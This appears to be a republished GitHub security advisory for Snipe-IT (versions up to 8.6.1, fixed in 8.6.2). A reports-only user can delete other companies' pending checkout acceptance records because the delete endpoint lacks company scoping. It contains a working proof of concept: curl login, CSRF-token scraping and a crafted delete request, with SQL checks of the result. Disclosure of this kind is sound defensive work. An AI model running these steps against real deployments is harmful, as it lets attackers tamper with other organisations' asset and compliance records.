GHSA-35cr-9hqq-p2mg: CSRF

Published Aug 28, 2026
·
Updated

Impact A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions The attacker needs: - A valid authenticated web session. - reports.view permission. - Knowledge or guessability of a pending checkoutacceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause The delete action authorizes only report access, then deletes a pending acceptance by global ID:

php

$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

sql snipesql "SELECT ca.id ca.checkoutableid, ca.deletedat, a.assettag, a.companyid FROM checkoutacceptances ca JOIN assets a ON a.id = ca.checkoutableid WHERE ca.id=$ACCEPTANCEBID;" Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": null, "assettag": "LAB-B-42445107", "companyid": 3 }

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A The attacker account was reportera, assigned to Company A with only report viewing permission:

json { "id": 3, "username": "reportera", "companyid": 2, "permissions": { "reports.view": 1 } }

Login as Company A reports user

curl curl -sS -c /tmp/snipecookie.txt "$BASE/login" -o /tmp/snipelogin.html

LOGINCSRF=$(grep -oP 'name="token" value="\K[^"]+' /tmp/snipelogin.html)

curl -sS -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$LOGINCSRF" \ --data-urlencode "username=reportera" \ --data-urlencode "password=password"

Observed response:

HTTP/1.1 302 Found Location: http://localhost:8000/

Fetch report CSRF token

curl curl -sS -L -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ "$BASE/reports/unacceptedassets" \ -o /tmp/unaccepted.html \ -w "\nHTTP=%{httpcode} URL=%{urleffective}\n"

CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unacceptedassets CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl curl -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/reports/unacceptedassets/$ACCEPTANCEBID/delete" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$CSRF" \ --data-urlencode "method=DELETE"

Observed response: HTTP/1.1 302 Found Location: http://localhost:8000/reports/unacceptedassets

Final state sql snipesql "SELECT id, checkoutableid, deletedat FROM checkoutacceptances WHERE id=$ACCEPTANCEBID;"

Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": "2026-06-12 04:30:00" }

This confirms that reportera from Company A deleted a pending acceptance for Company B’s asset.

Security impact This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

- Delete pending acceptance records for assets they cannot access. - Suppress evidence that a user has not accepted custody or terms. - Interfere with asset handoff/compliance workflows. - Tamper with another company’s pending acceptance queue.

This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.

Affected Software

1 affected componentFixes available
composer/snipe/snipe-it<=8.6.1
8.6.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/snipe/snipe-it to a version that resolves this vulnerability.

    Fixed in 8.6.2

Event History

Aug 28, 2026
Advisory Published
via GitHub·06:04 PM
Data Sourced
via GitHub·06:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

Any authenticated user with the reports.view permission can exploit it, provided they know or can guess the ID of a pending checkout acceptance record. They do not need access to the company or checkoutable item associated with that record.

2

What is the practical impact in a multi-company deployment?

A reports user in one company can delete pending checkout acceptance records belonging to another company. The affected records may be associated with checkoutable assets, accessories, licenses, or other related items.

3

Does exploitation require user interaction or elevated administrative access?

No user interaction is required, and the attacker only needs a valid authenticated web session with reports.view permission. The delete endpoint uses the pending acceptance record's global ID without verifying access to the related item.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203